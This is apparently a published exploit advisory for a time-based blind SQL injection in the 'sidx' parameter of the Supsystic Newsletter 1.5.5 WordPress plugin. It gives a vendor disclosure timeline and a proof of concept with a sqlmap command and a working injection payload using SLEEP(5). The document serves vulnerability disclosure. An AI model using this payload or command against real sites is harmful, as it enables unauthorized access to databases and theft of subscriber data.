WordPress Plugin Supsystic Newsletter 1.5.5 – ‘sidx’ SQL injection
# Exploit Title: WordPress Plugin Supsystic Newsletter 1.5.5 - 'sidx' SQL injection # Date: 24/07 2020 # Exploit Author: Erik David Martin # Vendor Homepage: https://supsystic.com/ # Software Link: https://downloads.wordpress.org/plugin/newsletter-by-supsystic.1.5.5.zip # Category: Web Application # Version: 1.5.5 # Tested on: Ubuntu 16.04.6 LTS / WordPress 5.4.2 # 25/07 2020: Vendor notified # 27/07 2020: Vendor requested detailed information # 27/07 2020: Information provided # 07/08 2020: Nudged vendor. No reply # 22/08 2020: Nudged vendor. No reply # 04/10 2020: Nudged vendor. No reply # 29/11 2020: WordPress Plugin Security team contacted # 01/12 2020: Plugin/Project closed by WordPress Security team # 1. Description The GET parameter "sidx" does not sanitize user input when searching for existing subscribers. # 2. Proof of Concept (PoC) Use ZAP/Burp to capture the web request when searching for existing subscribers and save it to request.txt. Referer: http://192.168.0.49/wp-admin/admin.php?page=newsletters-supsystic&tab=subscribers sqlmap -r request.txt --dbms=mysql -p sidx Parameter: sidx (GET) Type: time-based blind Payload: mod=subscribers&action=getListForTbl&pl=nbs&reqType=ajax&search[text_like]=testing&search[search_list]=0&_search=false&nd=1595780014444&rows=25&page=0&sidx=id AND (SELECT 1511 FROM (SELECT(SLEEP(5)))gTHi)&sord=desc |